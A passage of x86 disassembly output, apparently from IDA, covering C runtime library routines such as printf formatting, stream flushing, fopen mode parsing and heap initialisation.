		cmp	[ebp+var_10], 0
		jge	short loc_4182AC
		mov	[ebp+var_10], 1
		jmp	short loc_4182B0
; ---------------------------------------------------------------------------


loc_4182AC:				; CODE XREF: sub_417D2C+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4182B0:				; CODE XREF: sub_417D2C+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4182BA
		and	[ebp+var_1C], 0


loc_4182BA:				; CODE XREF: sub_417D2C+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4182C0:				; CODE XREF: sub_417D2C+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4182D0
		mov	eax, esi
		or	eax, edi
		jz	short loc_41830B


loc_4182D0:				; CODE XREF: sub_417D2C+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_417240
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_4172C0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_418301
		add	ebx, [ebp+var_2C]


loc_418301:				; CODE XREF: sub_417D2C+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4182C0
; ---------------------------------------------------------------------------


loc_41830B:				; CODE XREF: sub_417D2C+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_418336
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_418329
		test	eax, eax
		jnz	short loc_418336


loc_418329:				; CODE XREF: sub_417D2C+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_418333:				; CODE XREF: sub_417D2C+35Fj
					; sub_417D2C+406j ...
		mov	[ebp+var_C], eax


loc_418336:				; CODE XREF: sub_417D2C+21Bj
					; sub_417D2C+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_418434	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41836E
		test	bh, 1
		jz	short loc_418353
		mov	[ebp+var_16], 2Dh
		jmp	short loc_418367
; ---------------------------------------------------------------------------


loc_418353:				; CODE XREF: sub_417D2C+61Fj
		test	bl, 1
		jz	short loc_41835E
		mov	[ebp+var_16], 2Bh
		jmp	short loc_418367
; ---------------------------------------------------------------------------


loc_41835E:				; CODE XREF: sub_417D2C+62Aj
		test	bl, 2
		jz	short loc_41836E
		mov	[ebp+var_16], 20h


loc_418367:				; CODE XREF: sub_417D2C+625j
					; sub_417D2C+630j
		mov	[ebp+var_1C], 1


loc_41836E:				; CODE XREF: sub_417D2C+61Aj
					; sub_417D2C+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41838E
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4184A2
		add	esp, 10h


loc_41838E:				; CODE XREF: sub_417D2C+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_4184D3
		add	esp, 10h
		test	bl, 8
		jz	short loc_4183C0
		test	bl, 4
		jnz	short loc_4183C0
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4184A2
		add	esp, 10h


loc_4183C0:				; CODE XREF: sub_417D2C+67Bj
					; sub_417D2C+680j
		cmp	[ebp+var_24], 0
		jz	short loc_418407
		cmp	[ebp+var_C], 0
		jle	short loc_418407
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4183D5:				; CODE XREF: sub_417D2C+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41D16F
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41841C
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4184D3
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4183D5
		jmp	short loc_41841C
; ---------------------------------------------------------------------------


loc_418407:				; CODE XREF: sub_417D2C+698j
					; sub_417D2C+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4184D3
		add	esp, 10h


loc_41841C:				; CODE XREF: sub_417D2C+6BCj
					; sub_417D2C+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_418434 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4184A2
		add	esp, 10h


loc_418434:				; CODE XREF: sub_417D2C+68j
					; sub_417D2C+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_417D58


loc_418445:				; CODE XREF: sub_417D2C+1Fj
					; sub_417D2C+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417D2C	endp

; ---------------------------------------------------------------------------
off_41844D	dd offset loc_417ECB	; DATA XREF: sub_417D2C+6Er
		dd offset loc_417DA1	; jump table for switch	statement
		dd offset loc_417DBC
		dd offset loc_417E08
		dd offset loc_417E3F
		dd offset loc_417E47
		dd offset loc_417E7C
		dd offset loc_417F0F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41846D	proc near		; CODE XREF: sub_417D2C+1BDp
					; sub_417D2C+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_418486
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_418491
; ---------------------------------------------------------------------------


loc_418486:				; CODE XREF: sub_41846D+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_417C17
		pop	ecx
		pop	ecx


loc_418491:				; CODE XREF: sub_41846D+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41849E
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41849E:				; CODE XREF: sub_41846D+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41846D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184A2	proc near		; CODE XREF: sub_417D2C+65Ap
					; sub_417D2C+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4184D0
		mov	esi, [esp+8+arg_C]


loc_4184B3:				; CODE XREF: sub_4184A2+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41846D
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4184D0
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4184B3


loc_4184D0:				; CODE XREF: sub_4184A2+Bj
					; sub_4184A2+25j
		pop	edi
		pop	esi
		retn
sub_4184A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184D3	proc near		; CODE XREF: sub_417D2C+670p
					; sub_417D2C+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_418507
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_4184E9:				; CODE XREF: sub_4184D3+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41846D
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_418507
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_4184E9


loc_418507:				; CODE XREF: sub_4184D3+Cj
					; sub_4184D3+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4184D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41850B	proc near		; CODE XREF: sub_417D2C+E5p
					; sub_417D2C+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41850B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418518	proc near		; CODE XREF: sub_417D2C+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_418518	endp


; =============== S U B	R O U T	I N E =======================================



sub_418528	proc near		; CODE XREF: sub_417D2C+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_418528	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418536	proc near		; CODE XREF: sub_4159B4+17p
					; sub_4159B4+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_418554
		mov	ecx, ds:off_437D50
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_4185A6
; ---------------------------------------------------------------------------


loc_418554:				; CODE XREF: sub_418536+10j
		mov	ecx, eax
		push	esi
		mov	esi, ds:off_437D50
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_418579
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_418582
; ---------------------------------------------------------------------------


loc_418579:				; CODE XREF: sub_418536+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_418582:				; CODE XREF: sub_418536+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	loc_41D1D7
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4185A2
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185A2:				; CODE XREF: sub_418536+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_4185A6:				; CODE XREF: sub_418536+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_418536	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185AB	proc near		; CODE XREF: sub_415B20+2Ap
					; sub_41D53A+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, ds:dword_46A8A0
		jnb	loc_418645
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46A7A0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_418645
		push	edi
		call	sub_41D4A6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_418624
		cmp	edi, 1
		jz	short loc_4185F2
		cmp	edi, 2
		jnz	short loc_418608


loc_4185F2:				; CODE XREF: sub_4185AB+40j
		push	2
		call	sub_41D4A6
		push	1
		mov	ebp, eax
		call	sub_41D4A6
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_418624


loc_418608:				; CODE XREF: sub_4185AB+45j
		push	edi
		call	sub_41D4A6
		pop	ecx
		push	eax
		call	ds:dword_42106C	; CloseHandle
		test	eax, eax
		jnz	short loc_418624
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_418626
; ---------------------------------------------------------------------------


loc_418624:				; CODE XREF: sub_4185AB+3Bj
					; sub_4185AB+5Bj ...
		xor	ebp, ebp


loc_418626:				; CODE XREF: sub_4185AB+77j
		push	edi
		call	sub_41D42C
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_418641
		push	ebp
		call	sub_41C5B7
		pop	ecx
		jmp	short loc_418656
; ---------------------------------------------------------------------------


loc_418641:				; CODE XREF: sub_4185AB+8Bj
		xor	eax, eax
		jmp	short loc_418659
; ---------------------------------------------------------------------------


loc_418645:				; CODE XREF: sub_4185AB+Ej
					; sub_4185AB+2Fj
		and	ds:dword_469478, 0
		mov	ds:dword_469474, 9


loc_418656:				; CODE XREF: sub_4185AB+94j
		or	eax, 0FFFFFFFFh


loc_418659:				; CODE XREF: sub_4185AB+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4185AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41865E	proc near		; CODE XREF: sub_415B20+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_418687
		test	al, 8
		jz	short loc_418687
		push	dword ptr [esi+8]
		call	sub_415E1D
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_418687:				; CODE XREF: sub_41865E+Aj
					; sub_41865E+Ej
		pop	esi
		retn
sub_41865E	endp


; =============== S U B	R O U T	I N E =======================================



sub_418689	proc near		; CODE XREF: sub_418729+2Dp
					; sub_418729+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41869B
		push	esi
		call	sub_418729
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41869B:				; CODE XREF: sub_418689+7j
		push	esi
		call	sub_4186C4
		test	eax, eax
		pop	ecx
		jz	short loc_4186AB
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4186AB:				; CODE XREF: sub_418689+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_4186C0
		push	dword ptr [esi+10h]
		call	sub_41D4E3
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4186C0:				; CODE XREF: sub_418689+26j
		xor	eax, eax
		pop	esi
		retn
sub_418689	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C4	proc near		; CODE XREF: sub_415B20+1Ap
					; seg000:00416E55p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_418711
		test	ax, 108h
		jz	short loc_418711
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_418711
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41C40A
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41870A
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_418711
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_418711
; ---------------------------------------------------------------------------


loc_41870A:				; CODE XREF: sub_4186C4+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_418711:				; CODE XREF: sub_4186C4+14j
					; sub_4186C4+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4186C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_418720	proc near		; CODE XREF: sub_41D15Bp
		push	1
		call	sub_418729
		pop	ecx
		retn
sub_418720	endp


; =============== S U B	R O U T	I N E =======================================



sub_418729	proc near		; CODE XREF: sub_418689+Ap
					; sub_418720+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	ds:dword_46A780, esi
		jle	short loc_418787


loc_41873A:				; CODE XREF: sub_418729+5Cj
		mov	eax, ds:dword_469760
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41877E
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41877E
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_418764
		push	eax
		call	sub_418689
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41877E
		inc	ebx
		jmp	short loc_41877E
; ---------------------------------------------------------------------------


loc_418764:				; CODE XREF: sub_418729+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41877E
		test	cl, 2
		jz	short loc_41877E
		push	eax
		call	sub_418689
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41877E
		or	edi, eax


loc_41877E:				; CODE XREF: sub_418729+1Bj
					; sub_418729+23j ...
		inc	esi
		cmp	esi, ds:dword_46A780
		jl	short loc_41873A


loc_418787:				; CODE XREF: sub_418729+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_418792
		mov	eax, edi


loc_418792:				; CODE XREF: sub_418729+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_418729	endp


; =============== S U B	R O U T	I N E =======================================



sub_418796	proc near		; CODE XREF: sub_415B76+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41D090
		test	eax, eax
		pop	ecx
		jz	short loc_41881F
		cmp	esi, offset dword_438468
		jnz	short loc_4187B4
		xor	eax, eax
		jmp	short loc_4187BF
; ---------------------------------------------------------------------------


loc_4187B4:				; CODE XREF: sub_418796+18j
		cmp	esi, offset dword_438488
		jnz	short loc_41881F
		push	1
		pop	eax


loc_4187BF:				; CODE XREF: sub_418796+1Cj
		inc	ds:dword_469634
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41881F
		cmp	ds:dword_4694CC[eax*4],	0
		push	ebx
		push	edi
		lea	edi, ds:4694CCh[eax*4]
		mov	ebx, 1000h
		jnz	short loc_418805
		push	ebx
		call	sub_415DA9
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_418805
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_418812
; ---------------------------------------------------------------------------


loc_418805:				; CODE XREF: sub_418796+4Dj
					; sub_418796+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_418812:				; CODE XREF: sub_418796+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41881F:				; CODE XREF: sub_418796+10j
					; sub_418796+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_418796	endp


; =============== S U B	R O U T	I N E =======================================



sub_418823	proc near		; CODE XREF: sub_415B76+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41884D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41885E
		push	esi
		call	sub_4186C4
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41884D:				; CODE XREF: sub_418823+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41885E
		push	eax
		call	sub_4186C4
		pop	ecx


loc_41885E:				; CODE XREF: sub_418823+10j
					; sub_418823+32j
		pop	esi
		retn
sub_418823	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418860	proc near		; CODE XREF: sub_415BA8+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:dword_46963C
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_418899
		cmp	al, 72h
		jz	short loc_418892
		cmp	al, 77h
		jnz	loc_4189AD
		mov	ecx, 301h
		jmp	short loc_41889E
; ---------------------------------------------------------------------------


loc_418892:				; CODE XREF: sub_418860+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_4188A1
; ---------------------------------------------------------------------------


loc_418899:				; CODE XREF: sub_418860+1Dj
		mov	ecx, 109h


loc_41889E:				; CODE XREF: sub_418860+30j
		or	esi, 2


loc_4188A1:				; CODE XREF: sub_418860+37j
		push	1
		pop	edx


loc_4188A4:				; CODE XREF: sub_418860+8Bj
					; sub_418860+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_418993
		cmp	edx, ebx
		jz	loc_418993
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_418932
		jz	short loc_418922
		sub	eax, 2Bh
		jz	short loc_41890C
		sub	eax, 19h
		jz	short loc_418902
		sub	eax, 0Eh
		jz	short loc_4188ED
		dec	eax
		jnz	loc_418984
		cmp	[ebp+var_4], ebx
		jnz	loc_418984
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_4188A4
; ---------------------------------------------------------------------------


loc_4188ED:				; CODE XREF: sub_418860+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_418984
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_4188A4
; ---------------------------------------------------------------------------


loc_418902:				; CODE XREF: sub_418860+6Aj
		test	cl, 40h
		jnz	short loc_418984
		or	ecx, 40h
		jmp	short loc_4188A4
; ---------------------------------------------------------------------------


loc_41890C:				; CODE XREF: sub_418860+65j
		test	cl, 2
		jnz	short loc_418984
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_4188A4
; ---------------------------------------------------------------------------


loc_418922:				; CODE XREF: sub_418860+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_418984
		or	ecx, eax
		jmp	loc_4188A4
; ---------------------------------------------------------------------------


loc_418932:				; CODE XREF: sub_418860+5Ej
		sub	eax, 62h
		jz	short loc_41897F
		dec	eax
		jz	short loc_418968
		sub	eax, 0Bh
		jz	short loc_418951
		sub	eax, 6
		jnz	short loc_418984
		test	ch, 0C0h
		jnz	short loc_418984
		or	ch, 40h
		jmp	loc_4188A4
; ---------------------------------------------------------------------------


loc_418951:				; CODE XREF: sub_418860+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_418984
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_4188A4
; ---------------------------------------------------------------------------


loc_418968:				; CODE XREF: sub_418860+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_418984
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_4188A4
; ---------------------------------------------------------------------------


loc_41897F:				; CODE XREF: sub_418860+D5j
		test	ch, 0C0h
		jz	short loc_41898B


loc_418984:				; CODE XREF: sub_418860+72j
					; sub_418860+7Bj ...
		xor	edx, edx
		jmp	loc_4188A4
; ---------------------------------------------------------------------------


loc_41898B:				; CODE XREF: sub_418860+122j
		or	ch, 80h
		jmp	loc_4188A4
; ---------------------------------------------------------------------------


loc_418993:				; CODE XREF: sub_418860+4Aj
					; sub_418860+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41D53A
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_4189B1


loc_4189AD:				; CODE XREF: sub_418860+25j
		xor	eax, eax
		jmp	short loc_4189CB
; ---------------------------------------------------------------------------


loc_4189B1:				; CODE XREF: sub_418860+14Bj
		mov	eax, [ebp+arg_C]
		inc	ds:dword_469634
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_4189CB:				; CODE XREF: sub_418860+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418860	endp


; =============== S U B	R O U T	I N E =======================================



sub_4189D0	proc near		; CODE XREF: sub_415BA8p
		mov	edx, ds:dword_46A780
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_418A41
		mov	ebx, ds:dword_469760
		mov	edi, ebx


loc_4189EC:				; CODE XREF: sub_4189D0+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_418A07
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_418A02
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_4189EC
		jmp	short loc_418A41
; ---------------------------------------------------------------------------


loc_418A02:				; CODE XREF: sub_4189D0+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_418A2B
; ---------------------------------------------------------------------------


loc_418A07:				; CODE XREF: sub_4189D0+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_415DA9
		pop	ecx
		mov	ecx, ds:dword_469760
		mov	[edi+ecx], eax
		mov	eax, ds:dword_469760
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_418A41
		mov	esi, edi


loc_418A2B:				; CODE XREF: sub_4189D0+35j
		cmp	esi, ebp
		jz	short loc_418A41
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_418A41:				; CODE XREF: sub_4189D0+12j
					; sub_4189D0+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4189D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A48	proc near		; CODE XREF: sub_415DBB+1Fp
					; sub_4174BF+106p ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_4694D8
		test	eax, eax
		jz	short loc_418A60
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_418A60
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_418A60:				; CODE XREF: sub_418A48+7j
					; sub_418A48+12j
		xor	eax, eax
		retn
sub_418A48	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A63	proc near		; CODE XREF: seg000:00417B32p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	ds:dword_421174	; HeapCreate
		test	eax, eax
		mov	ds:dword_46AAE0, eax
		jz	short loc_418A98
		call	sub_418A9F
		test	eax, eax
		jnz	short loc_418A9B
		push	ds:dword_46AAE0
		call	ds:dword_421170	; HeapDestroy


loc_418A98:				; CODE XREF: sub_418A63+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418A9B:				; CODE XREF: sub_418A63+27j
		push	1
		pop	eax
		retn
sub_418A63	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A9F	proc near		; CODE XREF: sub_418A63+20p
		push	140h
		push	0
		push	ds:dword_46AAE0
		call	ds:dword_42114C	; RtlAllocateHeap
		test	eax, eax
		mov	ds:dword_46AADC, eax
		jnz	short loc_418ABC
		retn
; ---------------------------------------------------------------------------


loc_418ABC:				; CODE XREF: sub_418A9F+1Aj
		and	ds:dword_46AAD4, 0
		and	ds:dword_46AAD8, 0
		push	1
		mov	ds:dword_46AAD0, eax
		mov	ds:dword_46AAC8, 10h
		pop	eax
		retn
sub_418A9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ADD	proc near		; CODE XREF: sub_415E1D+Ap
					; sub_4174BF+3Dp ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_46AAD8
		lea	ecx, [eax+eax*4]
		mov	eax, ds:dword_46AADC
		lea	ecx, [eax+ecx*4]


loc_418AED:				; CODE XREF: sub_418ADD+26j
		cmp	eax, ecx
		jnb	short loc_418B05
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_418B07
		add	eax, 14h
		jmp	short loc_418AED
